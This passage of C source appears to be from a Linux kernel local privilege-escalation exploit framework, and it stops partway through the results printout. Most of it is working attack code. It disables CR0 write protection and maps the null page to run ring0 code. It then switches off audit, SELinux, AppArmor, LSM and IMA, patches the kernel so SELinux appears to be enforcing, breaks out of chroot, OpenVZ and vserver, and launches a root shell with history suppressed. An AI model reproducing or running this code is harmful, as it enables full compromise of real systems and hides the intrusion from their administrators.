	"mov %%cr0, %0"
	: "=r" (_cr0)
	);

	return _cr0;
}

void inline set_cr0(unsigned long _cr0)
{
	asm volatile (
	"mov %0, %%cr0"
	:
	: "r" (_cr0)
	);
}

int inline turn_off_wp(void)
{
	unsigned long _cr0;

	/* if xen is enabled and we can change ptes then we'll do that */
	if (can_change_ptes)
		return 1;
	/* don't do it if xen is enabled and we can't just
	   write to kernel .text */
	if (xen_detected && mark_rodata_ro && set_kernel_text_ro)
		return 0;
	/* if it's just xen, don't use cr0 or we'll GPF */
	if (xen_detected)
		return 1;

	_cr0 = get_cr0();
	_cr0 &= ~0x10000;
	set_cr0(_cr0);

	return 1;
}

void inline turn_on_wp(void)
{
	unsigned long _cr0;

	/* if it's just xen, don't use cr0 or we'll GPF */
	if (xen_detected)
		return;

	_cr0 = get_cr0();
	_cr0 |= 0x10000;
	set_cr0(_cr0);
}

unsigned long trigger_retaddr;

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_gs;

static void get_segment_descriptors(void)
{
#ifdef __x86_64__
	asm volatile (
	"movq %%cs, %0 ;"
	"movq %%ss, %1 ;"
	: "=r" (user_cs), "=r" (user_ss)
	:
	: "memory"
	);
#else
	asm volatile (
	"push %%cs ;"
	"pop %0 ;"
	"push %%ss ;"
	"pop %1 ;"
	"push %%gs ;"
	"pop %2 ;"
	: "=r" (user_cs), "=r" (user_ss), "=r" (user_gs)
	:
	: "memory"
	);
#endif
}


/* greets to qaaz */
static void exit_kernel(void)
{
#ifdef __x86_64__
	asm volatile (
	"swapgs ;"
	"movq %0, 0x20(%%rsp) ;"
	"movq %1, 0x18(%%rsp) ;"
	"movq %2, 0x10(%%rsp) ;"
	"movq %3, 0x08(%%rsp) ;"
	"movq %4, 0x00(%%rsp) ;"
	"iretq"
	: : "r" (user_ss), "r" (exit_stack + (1024 * 1024) - 0x80), "i" (USER_EFLAGS),
	"r" (user_cs), "r" (trigger_retaddr)
	);
#else
	asm volatile (
	"pushl %0 ;"
	"pop %%gs ;"
	"movl %1, 0x10(%%esp) ;"
	"movl %2, 0x0c(%%esp) ;"
	"movl %3, 0x08(%%esp) ;"
	"movl %4, 0x04(%%esp) ;"
	"movl %5, 0x00(%%esp) ;"
	"iret"
	: : "r" (user_gs), "r" (user_ss), "r" (exit_stack + (1024 * 1024) - 0x80), "i" (USER_EFLAGS),
	"r" (user_cs), "r" (trigger_retaddr)
	);
#endif
}

static _trigger_the_bug trigger;
static int main_ret;

void trigger_get_return(void)
{
	trigger_retaddr = (unsigned long)__builtin_return_address(0);
	main_ret = trigger();
	if (!main_ret)
		exit(0);
	return;
}

static void make_range_readwrite(unsigned long start, unsigned long len)
{
	unsigned long end;

	if (!can_change_ptes)
		return;

	end = start + len;

	make_lowmem_page_readwrite(start);

	// check if the entire range fits in one page
	if ((start >> 12) != (end >> 12))
		make_lowmem_page_readwrite(end);

	return;
}
static void make_range_readonly(unsigned long start, unsigned long len)
{
	unsigned long end;

	if (!can_change_ptes)
		return;

	end = start + len;

	make_lowmem_page_readonly(start);

	// check if the entire range fits in one page
	if ((start >> 12) != (end >> 12))
		make_lowmem_page_readonly(end);

	return;
}

static _ring0_cleanup ring0_cleanup;
static unsigned long get_kallsyms_lookup_name(void);

static int return_to_process_context;

static inline int are_interrupts_disabled(void)
{
	unsigned long flags;

#ifdef __x86_64
	asm volatile(
	"pushfq\n"
	"mov (%%rsp), %0\n"
	"popfq\n"
	: "=r" (flags)
	);
#else
	asm volatile(
	"pushf\n"
	"mov (%%esp), %0\n"
	"popf\n"
	: "=r" (flags)
	);
#endif

	return !(flags & (1 << 9));
}

static inline void chroot_breakout(void)
{
	int x, z;
	unsigned long *fsptr;
	unsigned long *initfsptr;

	if (!init_task || !init_fs || !set_fs_root || !set_fs_pwd || !current_addr || !virt_addr_valid)
		return;

	initfsptr = (unsigned long *)init_fs;

	for (x = 0; x < 0x1000/sizeof(unsigned long); x++) {
		if (init_task[x] != init_fs)
			continue;
		fs_offset = x * sizeof(unsigned long);
		fsptr = (unsigned long *)*(unsigned long *)(current_addr + fs_offset);
		if (fsptr == NULL)
			continue;
		// we replace root and pwd too, so adjust reference counters
		// accordingly
		for (z = 0; z < 6; z++) {
			/* lemony snicket's a series of unfortunate ints */
#ifdef __x86_64__
			if (fsptr[z] == 0xffffffff00000000UL)
				continue;
#endif
			if (virt_addr_valid(fsptr[z]) && virt_addr_valid(fsptr[z+1]) &&
			    virt_addr_valid(fsptr[z+2]) && virt_addr_valid(fsptr[z+3])) {
				set_fs_root((unsigned long)fsptr, (unsigned long)&initfsptr[z]);
				set_fs_pwd((unsigned long)fsptr, (unsigned long)&initfsptr[z+2]);
				return;
			}
		}
		return;
	}
}

struct vserver_struct {
	unsigned long val1;
	unsigned long val2;
	unsigned int val3;
	unsigned int val4;
};

static inline void vserver_breakout(void)
{
	char zeroes[32] = {};
	int vserver_base;
	unsigned int *vinfo, *ninfo;
	unsigned long *curr;
	struct vserver_struct *vserv;
	int x;

	if (!init_task || !current_addr || !virt_addr_valid || !vc_sock_stat)
		return;

	for (x = 0; x < 0x1000/sizeof(unsigned long); x++) {
		vserver_base = x * sizeof(unsigned long);
		vserv = (struct vserver_struct *)(current_addr + vserver_base);
#ifdef __x86_64__
		if (!memcmp(&init_task[x], &zeroes, 32) &&
		    virt_addr_valid(vserv->val1) && virt_addr_valid(vserv->val2) &&
		    vserv->val3 && vserv->val4) {
			vinfo = (unsigned int *)vserv->val1;
			ninfo = (unsigned int *)vserv->val2;
			if (vinfo[4] == vserv->val3 &&
			    ninfo[4] == vserv->val4) {
				vserver_offset = vserver_base;
				memset((void *)(current_addr + vserver_base), 0, sizeof(struct vserver_struct));
				break;
			}
		}
#else
		/* currently broken */
		break;
		if (!memcmp(&init_task[x], &zeroes, 16) &&
		    virt_addr_valid(vserv->val1) && virt_addr_valid(vserv->val2) &&
		    vserv->val3 && vserv->val4) {
			vinfo = (unsigned int *)vserv->val1;
			ninfo = (unsigned int *)vserv->val2;
			if (vinfo[2] == vserv->val3 &&
			    ninfo[2] == vserv->val4) {
				has_vserver = 1;
				vserver_offset = vserver_base;
				memset((void *)(current_addr + vserver_base), 0, sizeof(struct vserver_struct));
				break;
			}
		}
#endif
	}
}

static int __attribute__((regparm(3))) own_the_kernel(unsigned long a)
{
	_kallsyms_lookup_name lookup;

	if (return_to_process_context == 1 && ptmx_fops && aio_read_offset) {
		return_to_process_context = 2;
		ptmx_fops[aio_read_offset] = 0;
		goto resume_own;
	}

	if (exp_state.got_ring0 == 1) {
		/* we were already executed, just do nothing this time */
		return -1;
	}

	exp_state.got_ring0 = 1;

	if (ring0_cleanup)
		ring0_cleanup();

	exp_state.kallsyms_lookup_name = lookup = (_kallsyms_lookup_name)get_kallsyms_lookup_name();

	if (lookup) {
		unsigned long testaddr;

		/* check to see if this lookup routine works reasonably */
		testaddr = (unsigned long)lookup("printk");
		if (testaddr && (testaddr < KSTACK_MIN || testaddr > KSTACK_MAX)) {
			exp_state.kallsyms_lookup_name = lookup = NULL;
			bad_kallsyms_lookup_name = 1;
			goto skip_lookups;
		}

		set_fs_root = (_set_fs_root)lookup("set_fs_root");
		set_fs_pwd = (_set_fs_pwd)lookup("set_fs_pwd");
		virt_addr_valid = (_virt_addr_valid)lookup("__virt_addr_valid");
		vc_sock_stat = (unsigned long)lookup("vc_sock_stat");
		prepare_ve0_process = (_prepare_ve0_process)lookup("prepare_ve0_process");
		init_task = (unsigned long *)lookup("init_task");
		init_fs = (unsigned long)lookup("init_fs");
		default_exec_domain = (unsigned long)lookup("default_exec_domain");
		bad_file_ops = (unsigned long *)lookup("bad_file_ops");
		bad_file_aio_read = (unsigned long)lookup("bad_file_aio_read");
		ima_audit = (int *)lookup("ima_audit");
		ima_file_mmap = (unsigned char *)lookup("ima_file_mmap");
		ima_bprm_check = (unsigned char *)lookup("ima_bprm_check");
		ima_path_check = (unsigned char *)lookup("ima_path_check");
		ima_file_check = (unsigned char *)lookup("ima_file_check");
		selinux_enforcing = (int *)lookup("selinux_enforcing");
		selinux_enabled = (int *)lookup("selinux_enabled");
		apparmor_enabled = (int *)lookup("apparmor_enabled");
		apparmor_complain = (int *)lookup("apparmor_complain");
		apparmor_audit = (int *)lookup("apparmor_audit");
		apparmor_logsyscall = (int *)lookup("apparmor_logsyscall");
		security_ops = (unsigned long *)lookup("security_ops");
		default_security_ops = lookup("default_security_ops");
		sel_read_enforce = lookup("sel_read_enforce");
		audit_enabled = (int *)lookup("audit_enabled");
		commit_creds = (_commit_creds)lookup("commit_creds");
		prepare_kernel_cred = (_prepare_kernel_cred)lookup("prepare_kernel_cred");
		xen_start_info = (unsigned long *)lookup("xen_start_info");
		mark_rodata_ro = lookup("mark_rodata_ro");
		set_kernel_text_ro = lookup("set_kernel_text_ro");
		make_lowmem_page_readonly = (_make_lowmem_page_readonly)lookup("make_lowmem_page_readonly");
		make_lowmem_page_readwrite = (_make_lowmem_page_readwrite)lookup("make_lowmem_page_readwrite");
		ptmx_fops = (unsigned long *)lookup("ptmx_fops");
	}

skip_lookups:

	if (bad_file_ops && bad_file_aio_read) {
		int t;
		for (t = 0; t < 30; t++) {
			if (bad_file_ops[t] == bad_file_aio_read)
				aio_read_offset = t;
		}
	}

	if (are_interrupts_disabled() && ptmx_fops && aio_read_offset && !ptmx_fops[aio_read_offset]) {
		ptmx_fops[aio_read_offset] = (unsigned long)&own_the_kernel;
		return_to_process_context = 1;
		exit_kernel();
	}

resume_own:

	if (xen_start_info && *xen_start_info)
		xen_detected = 1;

	if (xen_detected && mark_rodata_ro && set_kernel_text_ro && make_lowmem_page_readonly && make_lowmem_page_readwrite)
		can_change_ptes = 1;

	if (audit_enabled)
		*audit_enabled = 0;

	if (ima_audit)
		*ima_audit = 0;

	// disable apparmor
	if (apparmor_enabled && *apparmor_enabled) {
		what_we_do |= DISABLED_APPARMOR;
			*apparmor_enabled = 0;
		if (apparmor_audit)
			*apparmor_audit = 0;
		if (apparmor_logsyscall)
			*apparmor_logsyscall = 0;
		if (apparmor_complain)
			*apparmor_complain = 0;
	}

	// disable SELinux
	if (selinux_enforcing && *selinux_enforcing) {
		what_we_do |= DISABLED_SELINUX;
		*selinux_enforcing = 0;
	}

	if (!selinux_enabled || (selinux_enabled && *selinux_enabled == 0)) {
		// trash LSM
		if (default_security_ops && security_ops) {
			/* only list it as LSM if we're disabling 
			   something other than apparmor */
			if (*security_ops != default_security_ops)
				what_we_do |= DISABLED_LSM;
			*security_ops = default_security_ops;
		}
	}

	/* TPM this, dedicated to rcvalle, redpig, and the powerglove
	   NOW you're playing with power!

	   IMA only hashes kernel modules loaded or things run/mmap'd executable
	   as root.  This of course doesn't include our exploit.  So let's
	   just stop appending to the TPM'd hash list all together.

	   Of course, clever minds could think of something better to do here with
	   this code, or re-enable it once they were done executing code as root
	*/

	if (ima_bprm_check && ima_file_mmap && (ima_path_check || ima_file_check)) {
		if (turn_off_wp()) {
			if (memcmp(ima_bprm_check, "\x31\xc0\xc3", 3)) {
				/* xor eax, eax / retn */
				make_range_readwrite((unsigned long)ima_bprm_check, 3);
				ima_bprm_check[0] = '\x31';
				ima_bprm_check[1] = '\xc0';
				ima_bprm_check[2] = '\xc3';
				make_range_readonly((unsigned long)ima_bprm_check, 3);
				what_we_do |= DISABLED_IMA;
			}
			if (memcmp(ima_file_mmap, "\x31\xc0\xc3", 3)) {
				/* xor eax, eax / retn */
				make_range_readwrite((unsigned long)ima_file_mmap, 3);
				ima_file_mmap[0] = '\x31';
				ima_file_mmap[1] = '\xc0';
				ima_file_mmap[2] = '\xc3';
				make_range_readonly((unsigned long)ima_file_mmap, 3);
				what_we_do |= DISABLED_IMA;
			}
			if (ima_path_check && memcmp(ima_path_check, "\x31\xc0\xc3", 3)) {
				/* xor eax, eax / retn */
				make_range_readwrite((unsigned long)ima_path_check, 3);
				ima_path_check[0] = '\x31';
				ima_path_check[1] = '\xc0';
				ima_path_check[2] = '\xc3';
				make_range_readonly((unsigned long)ima_path_check, 3);
				what_we_do |= DISABLED_IMA;
			}
			if (ima_file_check && memcmp(ima_file_check, "\x31\xc0\xc3", 3)) {
				/* xor eax, eax / retn */
				make_range_readwrite((unsigned long)ima_file_check, 3);
				ima_file_check[0] = '\x31';
				ima_file_check[1] = '\xc0';
				ima_file_check[2] = '\xc3';
				make_range_readonly((unsigned long)ima_file_check, 3);
				what_we_do |= DISABLED_IMA;
			}
			turn_on_wp();
		}
	}

	/* if we just set SELinux into permissive mode,
	   make the idiots think selinux is enforcing
	*/
	if (sel_read_enforce) {
		unsigned char *p;
		int can_write;
		can_write = turn_off_wp();

		if (sizeof(unsigned int) != sizeof(unsigned long)) {
			/* 64bit version, look for the mov ecx, [rip+off]
			   and replace with mov ecx, 1
			*/
			for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x30); p++) {
				if (p[0] == 0x8b && p[1] == 0x0d) {
					if (!selinux_enforcing) {
						// determine address of rip+off, as it's our selinux_enforcing
						sel_enforce_ptr = (int *)((char *)p + 6 + *(int *)&p[2]);
						if (*sel_enforce_ptr) {
							*sel_enforce_ptr = 0;
							what_we_do |= DISABLED_SELINUX;
						}
					}
					if (can_write && (what_we_do & DISABLED_SELINUX)) {
						make_range_readwrite((unsigned long)p, 6);
						p[0] = '\xb9';
						p[5] = '\x90';
						*(unsigned int *)&p[1] = 1;
						make_range_readonly((unsigned long)p, 6);
					}
				}
			}
		} else {
			/* 32bit, replace push [selinux_enforcing] with push 1 */
			for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x20); p++) {
				if (p[0] == 0xff && p[1] == 0x35 && *(unsigned int *)&p[2] > 0xc0000000) {
					// while we're at it, disable 
					// SELinux without having a 
					// symbol for selinux_enforcing ;)
					if (!selinux_enforcing) {
						sel_enforce_ptr = *(int **)&p[2];
						if (*sel_enforce_ptr) {
							*sel_enforce_ptr = 0;
							what_we_do |= DISABLED_SELINUX;
						}
					}
					if (can_write && (what_we_do & DISABLED_SELINUX)) {
						make_range_readwrite((unsigned long)p, 6);
						p[0] = '\x68';
						p[5] = '\x90';
						*(unsigned int *)&p[1] = 1;
						make_range_readonly((unsigned long)p, 6);
					}
				} else if (p[0] == 0xa1 &&
					*(unsigned int *)&p[1] > 0xc0000000) {
					/* old 2.6 are compiled different */
					if (!selinux_enforcing) {
						sel_enforce_ptr = *(int **)&p[1];
						if (*sel_enforce_ptr) {
							*sel_enforce_ptr = 0;
							what_we_do |= DISABLED_SELINUX;
						}
					}
					if (can_write && (what_we_do & DISABLED_SELINUX)) {
						make_range_readwrite((unsigned long)p, 5);
						p[0] = '\xb8';
						*(unsigned int *)&p[1] = 1;
						make_range_readonly((unsigned long)p, 5);
					}
				}
			}
		}

		turn_on_wp();
	}

	// push it real good
	give_it_to_me_any_way_you_can();

	// break out of chroot, mnt namespace
	chroot_breakout();

	// break out of OpenVZ
	if (prepare_ve0_process && current_addr) {
		prepare_ve0_process(current_addr);
	}

	// break out of vserver
	// find xid/vx_info/nid/nx_info -- they'll be zero in init_task but set in our confined task
	// once found, zero it out
	// can be made more reliable by verifying struct with xid info obtained from /proc
	vserver_breakout();

	return -1;
}

/* we do this so that we can swap the stack out later if we need to upon returning to userland
   and we won't lose any "local" variables, so the perf_counter exploit can have the same
   pretty printouts as all the others ;)
   note that -fomit-frame-pointer is required to pull this hack off
*/

static unsigned char *mem = NULL;
static _prepare_for_exploit prepare;
static _get_exploit_state_ptr get_exploit_state_ptr;
static _post_exploit post;
static int requires_null_page;
static int exp_idx;

int cwd_dirfd;

/* more sgrakkyu/twiz love */
static void exec_rootshell(void)
{
	char buf[PATH_MAX+1];
	struct stat st;
	int ret;

	char *argv[] = { "/bin/sh", "-i", NULL };
	char *argvbash[] = { "/bin/sh", "--norc", "--noprofile", NULL };
	char *envp[] = { "TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", 
			"history=/dev/null", 
			"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin",
			NULL };
	char *envpbash[] = { "TERM=linux", "PS1=\\u@\\h:\\w\\$",
			"BASH_HISTORY=/dev/null", "HISTORY=/dev/null", 
			"history=/dev/null", 
			"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin",
			NULL };
	memset(buf, 0, sizeof(buf));

	ret = stat("/bin/bash", &st);

	readlink("/bin/sh", buf, PATH_MAX);

	setgroups(0, NULL); // uses CAP_SETGID, we don't care if it succeeds
			    // though it should always

	// change back to saved working directory
	if (cwd_dirfd >= 0)
		fchdir(cwd_dirfd);

	/* if /bin/sh points to dash and /bin/bash exists, use /bin/bash */
	if ((!strcmp(buf, "/bin/dash") || !strcmp(buf, "dash")) && !ret)
		execve("/bin/bash", argvbash, envpbash);
	else
		execve("/bin/sh", argv, envp);

	fprintf(stdout, " [+] Failed to exec rootshell\n");
}

static inline void __cpuid(unsigned int *eax, unsigned int *ebx, unsigned int *ecx,
				unsigned int *edx)
{
	asm volatile("cpuid"
		: "=a" (*eax),
		  "=b" (*ebx),
		  "=c" (*ecx),
		  "=d" (*edx)
		: "0" (*eax), "2" (*ecx));
}

static inline void cpuid_count(unsigned int op, int count, unsigned int *eax, unsigned int *ebx,
				unsigned int *ecx, unsigned int *edx)
{
	*eax = op;
	*ecx = count;
	__cpuid(eax, ebx, ecx, edx);
}

static bool cve_chicken_out(const char *cve)
{
	struct utsname ver;
	char sname[512];
	FILE *f, *fout;
	unsigned int len = strlen(cve);
	long fsize;
	char *buf;
	long i;
	char c;

	uname(&ver);
	sprintf(sname, "/boot/vmlinuz-%s", ver.release);
	f = fopen(sname, "rb");
	if (f == NULL) {
		f = fopen("./vmlinuz", "rb");
		if (f == NULL)
			return false;
	}

	fout = fopen("./vmlinux_decomp.gz", "wb");
	fseek(f, 0, SEEK_END);
	fsize = ftell(f);
	fseek(f, 0, SEEK_SET);

	buf = malloc(fsize);
	if (buf == NULL) {
		fprintf(stderr, "Unable to allocate memory.\n");
		exit(1);
	}

	fread(buf, fsize, 1, f);

	for (i = 0; i < fsize - 4; i++) {
		if (!memcmp(&buf[i], "\x1f\x8b\x08\x00", 4))
			break;
	}

	if (i == (fsize - 4))
		return false;

	fwrite(&buf[i], fsize - i, 1, fout);

	fclose(f);
	fclose(fout);

	system("gzip -d ./vmlinux_decomp.gz > /dev/null 2> /dev/null");

	f = fopen("./vmlinux_decomp", "rb");
	if (f == NULL)
		return false;

	free(buf);

	fseek(f, 0, SEEK_END);
	fsize = ftell(f);
	fseek(f, 0, SEEK_SET);

	buf = malloc(fsize);
	if (buf == NULL) {
		fprintf(stderr, "Unable to allocate memory.\n");
		exit(1);
	}

	fread(buf, fsize, 1, f);

	fclose(f);
	unlink("./vmlinux_decomp");

	for (i = 0; i < fsize - len + 1; i++) {
		if (!memcmp(&buf[i], cve, len))
			break;
	}

	if (i == (fsize - len + 1))
		return false;

	printf(" [-] Brain-damaged upstream exploit \"protection\" detected for this exploit, would you like to try anyway? (y/N)\n");
	c = getchar();
	if (c == 'y' || c == 'Y')
		return false;

	return true;
}

static bool smep_chicken_out(void)
{
	unsigned int eax, ebx, ecx, edx;
	cpuid_count(7, 0, &eax, &ebx, &ecx, &edx);

	if (ebx & (1 << 7)) {
		char c;
		printf(" [-] SMEP detected, this exploit will very likely fail on recent kernels.  Continue? (y/N)\n");
		c = getchar();
		if (c == 'y' || c == 'Y')
			return false;
		return true;
	}

	return false;
}

int pa__init(void *m)
{
	char cwd[4096];
	char c;

	// save off the current working directory so we can change back to
	// it after breaking out of any chroots
	getcwd(cwd, sizeof(cwd));
	cwd_dirfd = open(cwd, O_RDONLY);

	/* page some things in */
	assert(!mlock(&own_the_kernel, 0x1000));
	c = *(volatile char *)&own_the_kernel;
	assert(!mlock((void *)(((unsigned long)&exp_state) & ~0x0FFFUL), 0x1000));
	c = *(volatile char *)&exp_state;
	assert(!mlock(&bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club, 0x1000));
	c = *(volatile char *)&bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club;
	assert(!mlock(&give_it_to_me_any_way_you_can, 0x1000));
	c = *(volatile char *)&give_it_to_me_any_way_you_can;
	assert(!mlock(&exit_kernel, 0x1000));
	c = *(volatile char *)&exit_kernel;
	assert(!mlock(&make_range_readwrite, 0x1000));
	c = *(volatile char *)&make_range_readwrite;
	assert(!mlock(&make_range_readonly, 0x1000));
	c = *(volatile char *)&make_range_readonly;
	assert(!mlock(&get_kallsyms_lookup_name, 0x1000));
	c = *(volatile char *)&get_kallsyms_lookup_name;

	sync();

	get_segment_descriptors();

	exit_stack = (char *)calloc(1, 1024 * 1024);
	if (exit_stack == NULL) {
		fprintf(stdout, "Unable to alloc exit_stack\n");
		exit(1);
	}
	exp_state.exit_stack = exit_stack;

#ifndef NON_NULL_ONLY
	if ((personality(0xffffffff)) != PER_SVR4) {
		mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
		if (mem != NULL) {
			mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
			if (mem != NULL) {
				fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
				goto boo_hiss;
			}
		}
	} else {
		main_ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
		if (main_ret == -1) {
			fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
			goto boo_hiss;
		}
	}
	goto great_success;
boo_hiss:
#ifdef HAVE_SELINUX
	if (exp_state.run_from_main == 1 && is_selinux_enabled()) {
		security_context_t scontext;
		context_t newcontext;
		int retval;

		retval = getcon(&scontext);
		if (retval < 0)
			goto oh_fail;

		if (strstr(scontext, ":wine_t:")) {
			fprintf(stdout, "allow_unconfined_mmap_low must actually work on this machine!\n");
			/* don't repeat */
			exit(1);
		}

		fprintf(stdout, "But wait!  Perhaps SELinux can revive this dead exploit...\n");
		newcontext = context_new(scontext);
		freecon(scontext);
		retval = context_type_set(newcontext, "wine_t");
		if (retval)
			goto oh_fail;
		scontext = context_str(newcontext);
		if (scontext == NULL)
			goto oh_fail;
		if (security_check_context(scontext) < 0)
			goto oh_fail;
		retval = setexeccon(scontext);
		if (retval < 0)
			goto oh_fail;
		context_free(newcontext);
		fprintf(stdout, "This looks promising!\n");
		execl("/proc/self/exe", NULL);
	}
oh_fail:
	fprintf(stdout, "Nope ;(\n");
#endif
	exit(1);
great_success:
	fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");
#endif

	add_exploit_modules();

	if (num_exploits == 0) {
		fprintf(stdout, "No exploit modules detected, exiting.\n");
		exit(1);
	}

repeat_it:
	fprintf(stdout, "Choose your exploit:\n");
	for (exp_idx = 0; exp_idx < num_exploits; exp_idx++)
		fprintf(stdout, " [%d] %s\n", exp_idx, modules[exp_idx].desc);
	fprintf(stdout, " [%d] Exit\n", exp_idx);
	fprintf(stdout, "> ");
	fflush(stdout);
	scanf("%d", &main_ret);
	getchar();
	if (main_ret == exp_idx)
		exit(0);
	if (main_ret < 0 || main_ret >= num_exploits) {
		fprintf(stdout, "Invalid number.\n");
		goto repeat_it;
	}

	RANDOM_THOUGHT();

	prepare = modules[main_ret].prep;
	trigger = modules[main_ret].trigger;
	ring0_cleanup = modules[main_ret].ring0_cleanup;
	if (ring0_cleanup) {
		char c;
		mlock(ring0_cleanup, 0x1000);
		c = *(volatile char *)ring0_cleanup;
	}
	get_exploit_state_ptr = modules[main_ret].get_exploit_state_ptr;
	post = modules[main_ret].post;
	requires_null_page = modules[main_ret].requires_null_page;
	requires_symbols_to_trigger = modules[main_ret].requires_symbols_to_trigger;

	exp_state.get_kernel_sym = (_get_kernel_sym)&get_kernel_sym;
	exp_state.own_the_kernel = (void *)&own_the_kernel;
	exp_state.exit_kernel = (void *)&exit_kernel;
	get_exploit_state_ptr(&exp_state);

	our_uid = getuid();

	set_fs_root = (_set_fs_root)get_kernel_sym("set_fs_root");
	set_fs_pwd = (_set_fs_pwd)get_kernel_sym("set_fs_pwd");
	virt_addr_valid = (_virt_addr_valid)get_kernel_sym("__virt_addr_valid");
	vc_sock_stat = (unsigned long)get_kernel_sym("vc_sock_stat");
	prepare_ve0_process = (_prepare_ve0_process)get_kernel_sym("prepare_ve0_process");
	init_task = (unsigned long *)get_kernel_sym("init_task");
	init_fs = (unsigned long)get_kernel_sym("init_fs");
	default_exec_domain = (unsigned long)get_kernel_sym("default_exec_domain");
	bad_file_ops = (unsigned long *)get_kernel_sym("bad_file_ops");
	bad_file_aio_read = (unsigned long)get_kernel_sym("bad_file_aio_read");
	ima_audit = (int *)get_kernel_sym("ima_audit");
	ima_file_mmap = (unsigned char *)get_kernel_sym("ima_file_mmap");
	ima_bprm_check = (unsigned char *)get_kernel_sym("ima_bprm_check");
	ima_path_check = (unsigned char *)get_kernel_sym("ima_path_check");
	ima_file_check = (unsigned char *)get_kernel_sym("ima_file_check");
	selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing");
	selinux_enabled = (int *)get_kernel_sym("selinux_enabled");
	apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled");
	apparmor_complain = (int *)get_kernel_sym("apparmor_complain");
	apparmor_audit = (int *)get_kernel_sym("apparmor_audit");
	apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall");
	security_ops = (unsigned long *)get_kernel_sym("security_ops");
	default_security_ops = get_kernel_sym("default_security_ops");
	sel_read_enforce = get_kernel_sym("sel_read_enforce");
	audit_enabled = (int *)get_kernel_sym("audit_enabled");
	commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
	prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
	xen_start_info = (unsigned long *)get_kernel_sym("xen_start_info");
	ptmx_fops = (unsigned long *)get_kernel_sym("ptmx_fops");
	mark_rodata_ro = get_kernel_sym("mark_rodata_ro");
	set_kernel_text_ro = get_kernel_sym("set_kernel_text_ro");
	make_lowmem_page_readonly = (_make_lowmem_page_readonly)get_kernel_sym("make_lowmem_page_readonly");
	make_lowmem_page_readwrite = (_make_lowmem_page_readwrite)get_kernel_sym("make_lowmem_page_readwrite");

#if 0
	/* a demonstration of futility */
	if (cve_chicken_out(modules[main_ret].cve))
		exit(1);
#endif

	if (smep_chicken_out())
		exit(1);

	main_ret = prepare(mem);
	if (main_ret == STRAIGHT_UP_EXECUTION_AT_NULL) {
		mem[0] = '\xff';
		mem[1] = '\x25';
		*(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : 6;
		*(unsigned long *)&mem[6] = (unsigned long)&own_the_kernel;
	} else if (main_ret == EXIT_KERNEL_TO_NULL) {
		mem[0] = '\xff';
		mem[1] = '\x15';
		*(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 6 : 12;
		mem[6] = '\xff';
		mem[7] = '\x25';
		*(unsigned int *)&mem[8] = (sizeof(unsigned long) != sizeof(unsigned int)) ? sizeof(unsigned long) : 16;
		*(unsigned long *)&mem[12] = (unsigned long)&own_the_kernel;
		*(unsigned long *)&mem[12 + sizeof(unsigned long)] = (unsigned long)&exit_kernel;
	} else if ((main_ret & EXECUTE_AT_NONZERO_OFFSET) == EXECUTE_AT_NONZERO_OFFSET) {
		int off = main_ret & 0xfff;
		mem[off] = '\xff';
		mem[off + 1] = '\x25';
		*(unsigned int *)&mem[off + 2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : off + 6;
		*(unsigned long *)&mem[off + 6] = (unsigned long)&own_the_kernel;
	}

	/* for NNP disabling */
	current_personality = personality(0xffffffff);
	current_pid = getpid();

	/* trigger it, and handle the exit_kernel case */
	trigger_get_return();

	if (return_to_process_context == 1) {
		int fd = open("/dev/ptmx", O_RDWR);
		struct iovec iov;

		if (fd < 0) {
			fprintf(stdout, " [-] Unable to open /dev/ptmx to change to process context.\n");
			exit(1);
		}
		iov.iov_base = &iov;
		iov.iov_len = sizeof(iov);
		readv(fd, &iov, 1);
		// won't reach here
		close(fd);
	}

	if (exp_state.got_ring0) {
		fprintf(stdout, " [+] Got ring0!\n");
	} else {
		fprintf(stdout, "didn't get ring0, bailing\n");
		exit(0);
	}

	if (return_to_process_context == 2)
		printf(" [+] Adjusted from interrupt handler to process context\n");
	else if (return_to_process_context == 1)
		printf(" [-] Failed ring0 execution after attempting process context re-entry\n");

	if (exp_state.kallsyms_lookup_name)
		printf(" [+] Obtained internal symbol table for extended functionality\n");
	else if (bad_kallsyms_lookup_name)
		printf(" [-] Incorrectly detected lookup routine for internal symbol table\n");

	printf(" [+] Detected %s %dk stacks, with current at %p%s\n",
		twofourstyle ? "2.4 style" : "2.6/3.x style",
		eightk_stack ? 8 : 4, (char *)current_addr, 
		(cred_support || (commit_creds && prepare_kernel_cred)) ? " and cred support" : "");
	if (raised_caps)
		fprintf(stdout, " [+] Raised to full old-style capabilities\n");
	if (cred_offset)
		fprintf(stdout, " [+] cred ptrs offset found at 0x%04x in task struct\n", cred_offset);
	if (init_cred_addr)
		fprintf(stdout, " [+] init_cred found at %p\n", (char *)init_cred_addr);

	{
		char msg[64] = {};

		if (what_we_do & DISABLED_APPARMOR)
			strcat(msg, " AppArmor");
		if (what_we_do & DISABLED_SELINUX)
			strcat(msg, " SELinux");
		if (what_we_do & DISABLED_LSM)
			strcat(msg, " LSM");
		if (what_we_do & DISABLED_IMA)
			strcat(msg, " IMA");
		if (!what_we_do)
